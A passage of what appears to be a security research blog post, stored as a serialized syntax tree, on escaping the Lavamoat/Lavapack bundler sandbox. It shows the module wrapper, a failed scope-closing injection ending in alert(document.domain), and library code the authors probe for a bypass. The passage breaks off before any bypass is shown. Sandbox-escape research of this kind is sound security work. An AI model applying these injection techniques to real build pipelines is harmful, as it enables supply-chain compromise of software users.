encodeURI",{"type":23,"tag":139,"props":45816,"children":45817},{"style":259},[45818],{"type":28,"value":262},{"type":23,"tag":139,"props":45820,"children":45821},{"style":245},[45822],{"type":28,"value":45823},"String",{"type":23,"tag":139,"props":45825,"children":45826},{"style":259},[45827],{"type":28,"value":262},{"type":23,"tag":139,"props":45829,"children":45830},{"style":294},[45831],{"type":28,"value":45832},"moduleData",{"type":23,"tag":139,"props":45834,"children":45835},{"style":259},[45836],{"type":28,"value":73},{"type":23,"tag":139,"props":45838,"children":45839},{"style":294},[45840],{"type":28,"value":45841},"file",{"type":23,"tag":139,"props":45843,"children":45844},{"style":259},[45845],{"type":28,"value":17719},{"type":23,"tag":139,"props":45847,"children":45848},{"class":141,"line":151},[45849,45853],{"type":23,"tag":139,"props":45850,"children":45851},{"style":279},[45852],{"type":28,"value":5859},{"type":23,"tag":139,"props":45854,"children":45855},{"style":294},[45856],{"type":28,"value":45857}," moduleWrapperSource\n",{"type":23,"tag":139,"props":45859,"children":45860},{"class":141,"line":160},[45861,45865,45869,45874],{"type":23,"tag":139,"props":45862,"children":45863},{"style":319},[45864],{"type":28,"value":29281},{"type":23,"tag":139,"props":45866,"children":45867},{"style":259},[45868],{"type":28,"value":1042},{"type":23,"tag":139,"props":45870,"children":45871},{"style":294},[45872],{"type":28,"value":45873},"bundleWithPrecompiledModules",{"type":23,"tag":139,"props":45875,"children":45876},{"style":259},[45877],{"type":28,"value":12815},{"type":23,"tag":139,"props":45879,"children":45880},{"class":141,"line":169},[45881,45886,45890],{"type":23,"tag":139,"props":45882,"children":45883},{"style":294},[45884],{"type":28,"value":45885},"    moduleWrapperSource",{"type":23,"tag":139,"props":45887,"children":45888},{"style":982},[45889],{"type":28,"value":985},{"type":23,"tag":139,"props":45891,"children":45892},{"style":265},[45893],{"type":28,"value":45894}," `function(){\n",{"type":23,"tag":139,"props":45896,"children":45897},{"class":141,"line":178},[45898],{"type":23,"tag":139,"props":45899,"children":45900},{"style":265},[45901],{"type":28,"value":45902},"      with (this.scopeTerminator) {\n",{"type":23,"tag":139,"props":45904,"children":45905},{"class":141,"line":187},[45906],{"type":23,"tag":139,"props":45907,"children":45908},{"style":265},[45909],{"type":28,"value":45910},"        with (this.globalThis) {\n",{"type":23,"tag":139,"props":45912,"children":45913},{"class":141,"line":196},[45914],{"type":23,"tag":139,"props":45915,"children":45916},{"style":265},[45917],{"type":28,"value":45918},"          return function() {\n",{"type":23,"tag":139,"props":45920,"children":45921},{"class":141,"line":205},[45922],{"type":23,"tag":139,"props":45923,"children":45924},{"style":265},[45925],{"type":28,"value":45926},"            'use strict';\n",{"type":23,"tag":139,"props":45928,"children":45929},{"class":141,"line":214},[45930,45935,45939,45944],{"type":23,"tag":139,"props":45931,"children":45932},{"style":265},[45933],{"type":28,"value":45934},"            // source: ",{"type":23,"tag":139,"props":45936,"children":45937},{"style":279},[45938],{"type":28,"value":31997},{"type":23,"tag":139,"props":45940,"children":45941},{"style":294},[45942],{"type":28,"value":45943},"filename",{"type":23,"tag":139,"props":45945,"children":45946},{"style":279},[45947],{"type":28,"value":1897},{"type":23,"tag":139,"props":45949,"children":45950},{"class":141,"line":1320},[45951],{"type":23,"tag":139,"props":45952,"children":45953},{"style":265},[45954],{"type":28,"value":45955},"            return function (require, module, exports) {\n",{"type":23,"tag":139,"props":45957,"children":45958},{"class":141,"line":1329},[45959],{"type":23,"tag":139,"props":45960,"children":45961},{"style":265},[45962],{"type":28,"value":45963},"              __MODULE_CONTENT__\n",{"type":23,"tag":139,"props":45965,"children":45966},{"class":141,"line":1580},[45967],{"type":23,"tag":139,"props":45968,"children":45969},{"style":265},[45970],{"type":28,"value":45971},"            };\n",{"type":23,"tag":139,"props":45973,"children":45974},{"class":141,"line":1597},[45975],{"type":23,"tag":139,"props":45976,"children":45977},{"style":265},[45978],{"type":28,"value":6707},{"type":23,"tag":139,"props":45980,"children":45981},{"class":141,"line":1614},[45982],{"type":23,"tag":139,"props":45983,"children":45984},{"style":265},[45985],{"type":28,"value":1326},{"type":23,"tag":139,"props":45987,"children":45988},{"class":141,"line":1627},[45989],{"type":23,"tag":139,"props":45990,"children":45991},{"style":265},[45992],{"type":28,"value":10675},{"type":23,"tag":139,"props":45994,"children":45995},{"class":141,"line":1636},[45996],{"type":23,"tag":139,"props":45997,"children":45998},{"style":265},[45999],{"type":28,"value":46000},"    }`\n",{"type":23,"tag":24,"props":46002,"children":46003},{},[46004,46006,46012,46014,46020],{"type":28,"value":46005},"Lavapack uses ",{"type":23,"tag":135,"props":46007,"children":46009},{"className":46008},[],[46010],{"type":28,"value":46011},"with()",{"type":28,"value":46013}," proxies to restrict the objects accessible by the module, and ",{"type":23,"tag":135,"props":46015,"children":46017},{"className":46016},[],[46018],{"type":28,"value":46019},"__MODULE_CONTENT__",{"type":28,"value":46021}," is replaced by the content of a file required by the project being built.",{"type":23,"tag":666,"props":46023,"children":46025},{"id":46024},"injection-not-so-simple",[46026],{"type":28,"value":46027},"Injection? Not So Simple",{"type":23,"tag":24,"props":46029,"children":46030},{},[46031,46033,46038],{"type":28,"value":46032},"We first tried to inject invalid javascript inside a javascript file, and then attempt to escape the ",{"type":23,"tag":135,"props":46034,"children":46036},{"className":46035},[],[46037],{"type":28,"value":10662},{"type":28,"value":46039}," environment:",{"type":23,"tag":128,"props":46041,"children":46043},{"className":29250,"code":46042,"language":29252,"meta":7,"style":7},"   } // end function 1\n  } // end function 2\n } // end with 1\n} // end with 2\n\nalert(document.domain)\n",[46044],{"type":23,"tag":135,"props":46045,"children":46046},{"__ignoreMap":7},[46047,46060,46072,46084,46096,46103],{"type":23,"tag":139,"props":46048,"children":46049},{"class":141,"line":142},[46050,46055],{"type":23,"tag":139,"props":46051,"children":46052},{"style":259},[46053],{"type":28,"value":46054},"   } ",{"type":23,"tag":139,"props":46056,"children":46057},{"style":958},[46058],{"type":28,"value":46059},"// end function 1\n",{"type":23,"tag":139,"props":46061,"children":46062},{"class":141,"line":151},[46063,46067],{"type":23,"tag":139,"props":46064,"children":46065},{"style":259},[46066],{"type":28,"value":29355},{"type":23,"tag":139,"props":46068,"children":46069},{"style":958},[46070],{"type":28,"value":46071},"// end function 2\n",{"type":23,"tag":139,"props":46073,"children":46074},{"class":141,"line":160},[46075,46079],{"type":23,"tag":139,"props":46076,"children":46077},{"style":259},[46078],{"type":28,"value":34092},{"type":23,"tag":139,"props":46080,"children":46081},{"style":958},[46082],{"type":28,"value":46083},"// end with 1\n",{"type":23,"tag":139,"props":46085,"children":46086},{"class":141,"line":169},[46087,46091],{"type":23,"tag":139,"props":46088,"children":46089},{"style":259},[46090],{"type":28,"value":44770},{"type":23,"tag":139,"props":46092,"children":46093},{"style":958},[46094],{"type":28,"value":46095},"// end with 2\n",{"type":23,"tag":139,"props":46097,"children":46098},{"class":141,"line":178},[46099],{"type":23,"tag":139,"props":46100,"children":46101},{"emptyLinePlaceholder":15},[46102],{"type":28,"value":184},{"type":23,"tag":139,"props":46104,"children":46105},{"class":141,"line":187},[46106,46110,46114,46118,46122,46126],{"type":23,"tag":139,"props":46107,"children":46108},{"style":245},[46109],{"type":28,"value":30585},{"type":23,"tag":139,"props":46111,"children":46112},{"style":259},[46113],{"type":28,"value":262},{"type":23,"tag":139,"props":46115,"children":46116},{"style":294},[46117],{"type":28,"value":30595},{"type":23,"tag":139,"props":46119,"children":46120},{"style":259},[46121],{"type":28,"value":73},{"type":23,"tag":139,"props":46123,"children":46124},{"style":294},[46125],{"type":28,"value":30605},{"type":23,"tag":139,"props":46127,"children":46128},{"style":259},[46129],{"type":28,"value":273},{"type":23,"tag":24,"props":46131,"children":46132},{},[46133,46135,46141,46143,46150],{"type":28,"value":46134},"However, when we tried to bundle it, a ",{"type":23,"tag":135,"props":46136,"children":46138},{"className":46137},[],[46139],{"type":28,"value":46140},"ParseError",{"type":28,"value":46142}," was thrown. This is because Lavapack is a plugin of ",{"type":23,"tag":64,"props":46144,"children":46147},{"href":46145,"rel":46146},"https://github.com/browserify/browserify",[68],[46148],{"type":28,"value":46149},"browserify",{"type":28,"value":46151},", which has a syntax check before replacing the code.",{"type":23,"tag":24,"props":46153,"children":46154},{},[46155,46157,46163,46165,46171,46173,46179,46181,46186],{"type":28,"value":46156},"Looking deeper into browserify, we find it has a ",{"type":23,"tag":135,"props":46158,"children":46160},{"className":46159},[],[46161],{"type":28,"value":46162},"syntax",{"type":28,"value":46164}," stage on it's pipeline, and uses the ",{"type":23,"tag":135,"props":46166,"children":46168},{"className":46167},[],[46169],{"type":28,"value":46170},"syntax-error",{"type":28,"value":46172}," npm package to validate the syntax of each javascript file content. Since Lavapack replaces the ",{"type":23,"tag":135,"props":46174,"children":46176},{"className":46175},[],[46177],{"type":28,"value":46178},"pack",{"type":28,"value":46180}," stage on browserify pipeline, which comes after the ",{"type":23,"tag":135,"props":46182,"children":46184},{"className":46183},[],[46185],{"type":28,"value":46162},{"type":28,"value":46187},", it was not possible to inject invalid javascript to escape the Lavamoat sandbox.",{"type":23,"tag":24,"props":46189,"children":46190},{},[46191],{"type":23,"tag":429,"props":46192,"children":46195},{"alt":46193,"src":46194},"Pipeline","/posts/supply-chain-attacks-a-new-era/pipeline.png",[],{"type":23,"tag":24,"props":46197,"children":46198},{},[46199,46200,46205,46207,46212],{"type":28,"value":14625},{"type":23,"tag":135,"props":46201,"children":46203},{"className":46202},[],[46204],{"type":28,"value":46170},{"type":28,"value":46206}," package performs a syntax check by using  ",{"type":23,"tag":135,"props":46208,"children":46210},{"className":46209},[],[46211],{"type":28,"value":35438},{"type":28,"value":46213}," with function hoisting:",{"type":23,"tag":128,"props":46215,"children":46217},{"className":29250,"code":46216,"language":29252,"meta":7,"style":7},"try {\n    eval('throw \"STOP\"; (function () { ' + src + '\\n})()');\n    return;\n}\ncatch (err) {\n    if (err === 'STOP') return undefined;\n    if (err.constructor.name !== 'SyntaxError') return err;\n    return errorInfo(src, file, opts);\n}\n",[46218],{"type":23,"tag":135,"props":46219,"children":46220},{"__ignoreMap":7},[46221,46233,46283,46294,46301,46322,46363,46423,46464],{"type":23,"tag":139,"props":46222,"children":46223},{"class":141,"line":142},[46224,46229],{"type":23,"tag":139,"props":46225,"children":46226},{"style":319},[46227],{"type":28,"value":46228},"try",{"type":23,"tag":139,"props":46230,"children":46231},{"style":259},[46232],{"type":28,"value":1268},{"type":23,"tag":139,"props":46234,"children":46235},{"class":141,"line":151},[46236,46241,46245,46250,46254,46259,46263,46268,46274,46279],{"type":23,"tag":139,"props":46237,"children":46238},{"style":245},[46239],{"type":28,"value":46240},"    eval",{"type":23,"tag":139,"props":46242,"children":46243},{"style":259},[46244],{"type":28,"value":262},{"type":23,"tag":139,"props":46246,"children":46247},{"style":265},[46248],{"type":28,"value":46249},"'throw \"STOP\"; (function () { '",{"type":23,"tag":139,"props":46251,"children":46252},{"style":982},[46253],{"type":28,"value":6910},{"type":23,"tag":139,"props":46255,"children":46256},{"style":294},[46257],{"type":28,"value":46258}," src",{"type":23,"tag":139,"props":46260,"children":46261},{"style":982},[46262],{"type":28,"value":6910},{"type":23,"tag":139,"props":46264,"children":46265},{"style":265},[46266],{"type":28,"value":46267}," '",{"type":23,"tag":139,"props":46269,"children":46271},{"style":46270},"--shiki-default:#D7BA7D",[46272],{"type":28,"value":46273},"\\n",{"type":23,"tag":139,"props":46275,"children":46276},{"style":265},[46277],{"type":28,"value":46278},"})()'",{"type":23,"tag":139,"props":46280,"children":46281},{"style":259},[46282],{"type":28,"value":1820},{"type":23,"tag":139,"props":46284,"children":46285},{"class":141,"line":160},[46286,46290],{"type":23,"tag":139,"props":46287,"children":46288},{"style":319},[46289],{"type":28,"value":322},{"type":23,"tag":139,"props":46291,"children":46292},{"style":259},[46293],{"type":28,"value":995},{"type":23,"tag":139,"props":46295,"children":46296},{"class":141,"line":169},[46297],{"type":23,"tag":139,"props":46298,"children":46299},{"style":259},[46300],{"type":28,"value":1897},{"type":23,"tag":139,"props":46302,"children":46303},{"class":141,"line":178},[46304,46309,46313,46318],{"type":23,"tag":139,"props":46305,"children":46306},{"style":319},[46307],{"type":28,"value":46308},"catch",{"type":23,"tag":139,"props":46310,"children":46311},{"style":259},[46312],{"type":28,"value":1042},{"type":23,"tag":139,"props":46314,"children":46315},{"style":294},[46316],{"type":28,"value":46317},"err",{"type":23,"tag":139,"props":46319,"children":46320},{"style":259},[46321],{"type":28,"value":12815},{"type":23,"tag":139,"props":46323,"children":46324},{"class":141,"line":187},[46325,46329,46333,46337,46341,46346,46350,46355,46359],{"type":23,"tag":139,"props":46326,"children":46327},{"style":319},[46328],{"type":28,"value":10290},{"type":23,"tag":139,"props":46330,"children":46331},{"style":259},[46332],{"type":28,"value":1042},{"type":23,"tag":139,"props":46334,"children":46335},{"style":294},[46336],{"type":28,"value":46317},{"type":23,"tag":139,"props":46338,"children":46339},{"style":982},[46340],{"type":28,"value":29309},{"type":23,"tag":139,"props":46342,"children":46343},{"style":265},[46344],{"type":28,"value":46345}," 'STOP'",{"type":23,"tag":139,"props":46347,"children":46348},{"style":259},[46349],{"type":28,"value":1062},{"type":23,"tag":139,"props":46351,"children":46352},{"style":319},[46353],{"type":28,"value":46354},"return",{"type":23,"tag":139,"props":46356,"children":46357},{"style":279},[46358],{"type":28,"value":37228},{"type":23,"tag":139,"props":46360,"children":46361},{"style":259},[46362],{"type":28,"value":995},{"type":23,"tag":139,"props":46364,"children":46365},{"class":141,"line":196},[46366,46370,46374,46378,46382,46387,46391,46396,46401,46406,46410,46414,46419],{"type":23,"tag":139,"props":46367,"children":46368},{"style":319},[46369],{"type":28,"value":10290},{"type":23,"tag":139,"props":46371,"children":46372},{"style":259},[46373],{"type":28,"value":1042},{"type":23,"tag":139,"props":46375,"children":46376},{"style":294},[46377],{"type":28,"value":46317},{"type":23,"tag":139,"props":46379,"children":46380},{"style":259},[46381],{"type":28,"value":73},{"type":23,"tag":139,"props":46383,"children":46384},{"style":294},[46385],{"type":28,"value":46386},"constructor",{"type":23,"tag":139,"props":46388,"children":46389},{"style":259},[46390],{"type":28,"value":73},{"type":23,"tag":139,"props":46392,"children":46393},{"style":294},[46394],{"type":28,"value":46395},"name",{"type":23,"tag":139,"props":46397,"children":46398},{"style":982},[46399],{"type":28,"value":46400}," !==",{"type":23,"tag":139,"props":46402,"children":46403},{"style":265},[46404],{"type":28,"value":46405}," 'SyntaxError'",{"type":23,"tag":139,"props":46407,"children":46408},{"style":259},[46409],{"type":28,"value":1062},{"type":23,"tag":139,"props":46411,"children":46412},{"style":319},[46413],{"type":28,"value":46354},{"type":23,"tag":139,"props":46415,"children":46416},{"style":294},[46417],{"type":28,"value":46418}," err",{"type":23,"tag":139,"props":46420,"children":46421},{"style":259},[46422],{"type":28,"value":995},{"type":23,"tag":139,"props":46424,"children":46425},{"class":141,"line":205},[46426,46430,46435,46439,46443,46447,46451,46455,46460],{"type":23,"tag":139,"props":46427,"children":46428},{"style":319},[46429],{"type":28,"value":322},{"type":23,"tag":139,"props":46431,"children":46432},{"style":245},[46433],{"type":28,"value":46434}," errorInfo",{"type":23,"tag":139,"props":46436,"children":46437},{"style":259},[46438],{"type":28,"value":262},{"type":23,"tag":139,"props":46440,"children":46441},{"style":294},[46442],{"type":28,"value":30557},{"type":23,"tag":139,"props":46444,"children":46445},{"style":259},[46446],{"type":28,"value":1052},{"type":23,"tag":139,"props":46448,"children":46449},{"style":294},[46450],{"type":28,"value":45841},{"type":23,"tag":139,"props":46452,"children":46453},{"style":259},[46454],{"type":28,"value":1052},{"type":23,"tag":139,"props":46456,"children":46457},{"style":294},[46458],{"type":28,"value":46459},"opts",{"type":23,"tag":139,"props":46461,"children":46462},{"style":259},[46463],{"type":28,"value":1820},{"type":23,"tag":139,"props":46465,"children":46466},{"class":141,"line":214},[46467],{"type":23,"tag":139,"props":46468,"children":46469},{"style":259},[46470],{"type":28,"value":1897},{"type":23,"tag":24,"props":46472,"children":46473},{},[46474,46476,46480,46482,46488,46490,46495],{"type":28,"value":46475},"Interestingly, it ",{"type":23,"tag":659,"props":46477,"children":46478},{},[46479],{"type":28,"value":1972},{"type":28,"value":46481}," possible to inject a ",{"type":23,"tag":135,"props":46483,"children":46485},{"className":46484},[],[46486],{"type":28,"value":46487},"}); (() => {",{"type":28,"value":46489}," inside source, and will not throw a syntax error. Unfortunately, this is not enough to bypass the ",{"type":23,"tag":135,"props":46491,"children":46493},{"className":46492},[],[46494],{"type":28,"value":46011},{"type":28,"value":46496}," sandbox of Lavapack.",{"type":23,"tag":666,"props":46498,"children":46500},{"id":46499},"sourcemap-the-syntax-killer",[46501],{"type":28,"value":46502},"SourceMap: The Syntax Killer",{"type":23,"tag":24,"props":46504,"children":46505},{},[46506,46508,46515],{"type":28,"value":46507},"Lavapack has a feature to extract source maps files from the code using ",{"type":23,"tag":64,"props":46509,"children":46512},{"href":46510,"rel":46511},"https://www.npmjs.com/package/convert-source-map",[68],[46513],{"type":28,"value":46514},"convert-source-map",{"type":28,"value":46516}," npm package:",{"type":23,"tag":128,"props":46518,"children":46520},{"className":29250,"code":46519,"language":29252,"meta":7,"style":7},"function extractSourceMaps(sourceCode) {\n  const converter = convertSourceMap.fromSource(sourceCode)\n  // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n  const maps = converter && converter.toObject()\n  const code = convertSourceMap.removeComments(sourceCode)\n  return { code, maps }\n}\n",[46521],{"type":23,"tag":135,"props":46522,"children":46523},{"__ignoreMap":7},[46524,46548,46590,46598,46639,46680,46708],{"type":23,"tag":139,"props":46525,"children":46526},{"class":141,"line":142},[46527,46531,46536,46540,46544],{"type":23,"tag":139,"props":46528,"children":46529},{"style":279},[46530],{"type":28,"value":29264},{"type":23,"tag":139,"props":46532,"children":46533},{"style":245},[46534],{"type":28,"value":46535}," extractSourceMaps",{"type":23,"tag":139,"props":46537,"children":46538},{"style":259},[46539],{"type":28,"value":262},{"type":23,"tag":139,"props":46541,"children":46542},{"style":294},[46543],{"type":28,"value":35904},{"type":23,"tag":139,"props":46545,"children":46546},{"style":259},[46547],{"type":28,"value":12815},{"type":23,"tag":139,"props":46549,"children":46550},{"class":141,"line":151},[46551,46555,46560,46564,46569,46573,46578,46582,46586],{"type":23,"tag":139,"props":46552,"children":46553},{"style":279},[46554],{"type":28,"value":34078},{"type":23,"tag":139,"props":46556,"children":46557},{"style":294},[46558],{"type":28,"value":46559}," converter",{"type":23,"tag":139,"props":46561,"children":46562},{"style":982},[46563],{"type":28,"value":985},{"type":23,"tag":139,"props":46565,"children":46566},{"style":294},[46567],{"type":28,"value":46568}," convertSourceMap",{"type":23,"tag":139,"props":46570,"children":46571},{"style":259},[46572],{"type":28,"value":73},{"type":23,"tag":139,"props":46574,"children":46575},{"style":245},[46576],{"type":28,"value":46577},"fromSource",{"type":23,"tag":139,"props":46579,"children":46580},{"style":259},[46581],{"type":28,"value":262},{"type":23,"tag":139,"props":46583,"children":46584},{"style":294},[46585],{"type":28,"value":35904},{"type":23,"tag":139,"props":46587,"children":46588},{"style":259},[46589],{"type":28,"value":273},{"type":23,"tag":139,"props":46591,"children":46592},{"class":141,"line":160},[46593],{"type":23,"tag":139,"props":46594,"children":46595},{"style":958},[46596],{"type":28,"value":46597},"  // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n",{"type":23,"tag":139,"props":46599,"children":46600},{"class":141,"line":169},[46601,46605,46610,46614,46618,46622,46626,46630,46635],{"type":23,"tag":139,"props":46602,"children":46603},{"style":279},[46604],{"type":28,"value":34078},{"type":23,"tag":139,"props":46606,"children":46607},{"style":294},[46608],{"type":28,"value":46609}," maps",{"type":23,"tag":139,"props":46611,"children":46612},{"style":982},[46613],{"type":28,"value":985},{"type":23,"tag":139,"props":46615,"children":46616},{"style":294},[46617],{"type":28,"value":46559},{"type":23,"tag":139,"props":46619,"children":46620},{"style":982},[46621],{"type":28,"value":12196},{"type":23,"tag":139,"props":46623,"children":46624},{"style":294},[46625],{"type":28,"value":46559},{"type":23,"tag":139,"props":46627,"children":46628},{"style":259},[46629],{"type":28,"value":73},{"type":23,"tag":139,"props":46631,"children":46632},{"style":245},[46633],{"type":28,"value":46634},"toObject",{"type":23,"tag":139,"props":46636,"children":46637},{"style":259},[46638],{"type":28,"value":5739},{"type":23,"tag":139,"props":46640,"children":46641},{"class":141,"line":178},[46642,46646,46651,46655,46659,46663,46668,46672,46676],{"type":23,"tag":139,"props":46643,"children":46644},{"style":279},[46645],{"type":28,"value":34078},{"type":23,"tag":139,"props":46647,"children":46648},{"style":294},[46649],{"type":28,"value":46650}," code",{"type":23,"tag":139,"props":46652,"children":46653},{"style":982},[46654],{"type":28,"value":985},{"type":23,"tag":139,"props":46656,"children":46657},{"style":294},[46658],{"type":28,"value":46568},{"type":23,"tag":139,"props":46660,"children":46661},{"style":259},[46662],{"type":28,"value":73},{"type":23,"tag":139,"props":46664,"children":46665},{"style":245},[46666],{"type":28,"value":46667},"removeComments",{"type":23,"tag":139,"props":46669,"children":46670},{"style":259},[46671],{"type":28,"value":262},{"type":23,"tag":139,"props":46673,"children":46674},{"style":294},[46675],{"type":28,"value":35904},{"type":23,"tag":139,"props":46677,"children":46678},{"style":259},[46679],{"type":28,"value":273},{"type":23,"tag":139,"props":46681,"children":46682},{"class":141,"line":187},[46683,46687,46691,46695,46699,46704],{"type":23,"tag":139,"props":46684,"children":46685},{"style":319},[46686],{"type":28,"value":37089},{"type":23,"tag":139,"props":46688,"children":46689},{"style":259},[46690],{"type":28,"value":7594},{"type":23,"tag":139,"props":46692,"children":46693},{"style":294},[46694],{"type":28,"value":135},{"type":23,"tag":139,"props":46696,"children":46697},{"style":259},[46698],{"type":28,"value":1052},{"type":23,"tag":139,"props":46700,"children":46701},{"style":294},[46702],{"type":28,"value":46703},"maps",{"type":23,"tag":139,"props":46705,"children":46706},{"style":259},[46707],{"type":28,"value":7604},{"type":23,"tag":139,"props":46709,"children":46710},{"class":141,"line":196},[46711],{"type":23,"tag":139,"props":46712,"children":46713},{"style":259},[46714],{"type":28,"value":1897},{"type":23,"tag":24,"props":46716,"children":46717},{},[46718,46720,46725,46727,46732],{"type":28,"value":46719},"This code removes the source map comments of the source code, meaning that there actually is a modification of source code in Lavapack after the ",{"type":23,"tag":135,"props":46721,"children":46723},{"className":46722},[],[46724],{"type":28,"value":46162},{"type":28,"value":46726}," stage. Reviewing the ",{"type":23,"tag":135,"props":46728,"children":46730},{"className":46729},[],[46731],{"type":28,"value":46514},{"type":28,"value":46733}," code, we can see exactly how this happens.",{"type":23,"tag":128,"props":46735,"children":46737},{"className":29250,"code":46736,"language":29252,"meta":7,"style":7},"Object.defineProperty(exports, 'commentRegex', {\n  get: function getCommentRegex () {\n    // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n    return /^\\s*?\\/[\\/\\*][@#]\\s+?sourceMappingURL=data:(((?:application|text)\\/json)(?:;charset=([^;,]+?)?)?)?(?:;(base64))?,(.*?)$/mg;\n  }\n});\n\nexports.removeComments = function (src) {\n  return src.replace(exports.commentRegex, '');\n};\n",[46738],{"type":23,"tag":135,"props":46739,"children":46740},{"__ignoreMap":7},[46741,46780,46806,46814,47028,47035,47042,47049,47084,47134],{"type":23,"tag":139,"props":46742,"children":46743},{"class":141,"line":142},[46744,46749,46753,46758,46762,46766,46770,46775],{"type":23,"tag":139,"props":46745,"children":46746},{"style":294},[46747],{"type":28,"value":46748},"Object",{"type":23,"tag":139,"props":46750,"children":46751},{"style":259},[46752],{"type":28,"value":73},{"type":23,"tag":139,"props":46754,"children":46755},{"style":245},[46756],{"type":28,"value":46757},"defineProperty",{"type":23,"tag":139,"props":46759,"children":46760},{"style":259},[46761],{"type":28,"value":262},{"type":23,"tag":139,"props":46763,"children":46764},{"style":305},[46765],{"type":28,"value":35776},{"type":23,"tag":139,"props":46767,"children":46768},{"style":259},[46769],{"type":28,"value":1052},{"type":23,"tag":139,"props":46771,"children":46772},{"style":265},[46773],{"type":28,"value":46774},"'commentRegex'",{"type":23,"tag":139,"props":46776,"children":46777},{"style":259},[46778],{"type":28,"value":46779},", {\n",{"type":23,"tag":139,"props":46781,"children":46782},{"class":141,"line":151},[46783,46788,46792,46796,46801],{"type":23,"tag":139,"props":46784,"children":46785},{"style":245},[46786],{"type":28,"value":46787},"  get",{"type":23,"tag":139,"props":46789,"children":46790},{"style":294},[46791],{"type":28,"value":2493},{"type":23,"tag":139,"props":46793,"children":46794},{"style":279},[46795],{"type":28,"value":36104},{"type":23,"tag":139,"props":46797,"children":46798},{"style":245},[46799],{"type":28,"value":46800}," getCommentRegex",{"type":23,"tag":139,"props":46802,"children":46803},{"style":259},[46804],{"type":28,"value":46805}," () {\n",{"type":23,"tag":139,"props":46807,"children":46808},{"class":141,"line":160},[46809],{"type":23,"tag":139,"props":46810,"children":46811},{"style":958},[46812],{"type":28,"value":46813},"    // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n",{"type":23,"tag":139,"props":46815,"children":46816},{"class":141,"line":169},[46817,46821,46827,46832,46837,46842,46846,46851,46856,46861,46865,46869,46874,46879,46884,46889,46893,46897,46901,46906,46910,46915,46920,46925,46930,46934,46938,46942,46946,46950,46954,46958,46962,46967,46972,46976,46981,46986,46990,46994,46998,47002,47007,47011,47015,47019,47024],{"type":23,"tag":139,"props":46818,"children":46819},{"style":319},[46820],{"type":28,"value":322},{"type":23,"tag":139,"props":46822,"children":46824},{"style":46823},"--shiki-default:#D16969",[46825],{"type":28,"value":46826}," /",{"type":23,"tag":139,"props":46828,"children":46829},{"style":245},[46830],{"type":28,"value":46831},"^",{"type":23,"tag":139,"props":46833,"children":46834},{"style":46823},[46835],{"type":28,"value":46836},"\\s",{"type":23,"tag":139,"props":46838,"children":46839},{"style":46270},[46840],{"type":28,"value":46841},"*?\\/",{"type":23,"tag":139,"props":46843,"children":46844},{"style":265},[46845],{"type":28,"value":1723},{"type":23,"tag":139,"props":46847,"children":46848},{"style":46270},[46849],{"type":28,"value":46850},"\\/\\*",{"type":23,"tag":139,"props":46852,"children":46853},{"style":265},[46854],{"type":28,"value":46855},"][",{"type":23,"tag":139,"props":46857,"children":46858},{"style":46823},[46859],{"type":28,"value":46860},"@#",{"type":23,"tag":139,"props":46862,"children":46863},{"style":265},[46864],{"type":28,"value":13423},{"type":23,"tag":139,"props":46866,"children":46867},{"style":46823},[46868],{"type":28,"value":46836},{"type":23,"tag":139,"props":46870,"children":46871},{"style":46270},[46872],{"type":28,"value":46873},"+?",{"type":23,"tag":139,"props":46875,"children":46876},{"style":46823},[46877],{"type":28,"value":46878},"sourceMappingURL=data:",{"type":23,"tag":139,"props":46880,"children":46881},{"style":265},[46882],{"type":28,"value":46883},"(((?:",{"type":23,"tag":139,"props":46885,"children":46886},{"style":46823},[46887],{"type":28,"value":46888},"application",{"type":23,"tag":139,"props":46890,"children":46891},{"style":245},[46892],{"type":28,"value":8425},{"type":23,"tag":139,"props":46894,"children":46895},{"style":46823},[46896],{"type":28,"value":28},{"type":23,"tag":139,"props":46898,"children":46899},{"style":265},[46900],{"type":28,"value":1104},{"type":23,"tag":139,"props":46902,"children":46903},{"style":46270},[46904],{"type":28,"value":46905},"\\/",{"type":23,"tag":139,"props":46907,"children":46908},{"style":46823},[46909],{"type":28,"value":31886},{"type":23,"tag":139,"props":46911,"children":46912},{"style":265},[46913],{"type":28,"value":46914},")(?:",{"type":23,"tag":139,"props":46916,"children":46917},{"style":46823},[46918],{"type":28,"value":46919},";charset=",{"type":23,"tag":139,"props":46921,"children":46922},{"style":265},[46923],{"type":28,"value":46924},"([^",{"type":23,"tag":139,"props":46926,"children":46927},{"style":46823},[46928],{"type":28,"value":46929},";,",{"type":23,"tag":139,"props":46931,"children":46932},{"style":265},[46933],{"type":28,"value":13423},{"type":23,"tag":139,"props":46935,"children":46936},{"style":46270},[46937],{"type":28,"value":46873},{"type":23,"tag":139,"props":46939,"children":46940},{"style":265},[46941],{"type":28,"value":1104},{"type":23,"tag":139,"props":46943,"children":46944},{"style":46270},[46945],{"type":28,"value":1132},{"type":23,"tag":139,"props":46947,"children":46948},{"style":265},[46949],{"type":28,"value":1104},{"type":23,"tag":139,"props":46951,"children":46952},{"style":46270},[46953],{"type":28,"value":1132},{"type":23,"tag":139,"props":46955,"children":46956},{"style":265},[46957],{"type":28,"value":1104},{"type":23,"tag":139,"props":46959,"children":46960},{"style":46270},[46961],{"type":28,"value":1132},{"type":23,"tag":139,"props":46963,"children":46964},{"style":265},[46965],{"type":28,"value":46966},"(?:",{"type":23,"tag":139,"props":46968,"children":46969},{"style":46823},[46970],{"type":28,"value":46971},";",{"type":23,"tag":139,"props":46973,"children":46974},{"style":265},[46975],{"type":28,"value":262},{"type":23,"tag":139,"props":46977,"children":46978},{"style":46823},[46979],{"type":28,"value":46980},"base64",{"type":23,"tag":139,"props":46982,"children":46983},{"style":265},[46984],{"type":28,"value":46985},"))",{"type":23,"tag":139,"props":46987,"children":46988},{"style":46270},[46989],{"type":28,"value":1132},{"type":23,"tag":139,"props":46991,"children":46992},{"style":46823},[46993],{"type":28,"value":2124},{"type":23,"tag":139,"props":46995,"children":46996},{"style":265},[46997],{"type":28,"value":262},{"type":23,"tag":139,"props":46999,"children":47000},{"style":46823},[47001],{"type":28,"value":73},{"type":23,"tag":139,"props":47003,"children":47004},{"style":46270},[47005],{"type":28,"value":47006},"*?",{"type":23,"tag":139,"props":47008,"children":47009},{"style":265},[47010],{"type":28,"value":1104},{"type":23,"tag":139,"props":47012,"children":47013},{"style":245},[47014],{"type":28,"value":8297},{"type":23,"tag":139,"props":47016,"children":47017},{"style":46823},[47018],{"type":28,"value":2583},{"type":23,"tag":139,"props":47020,"children":47021},{"style":279},[47022],{"type":28,"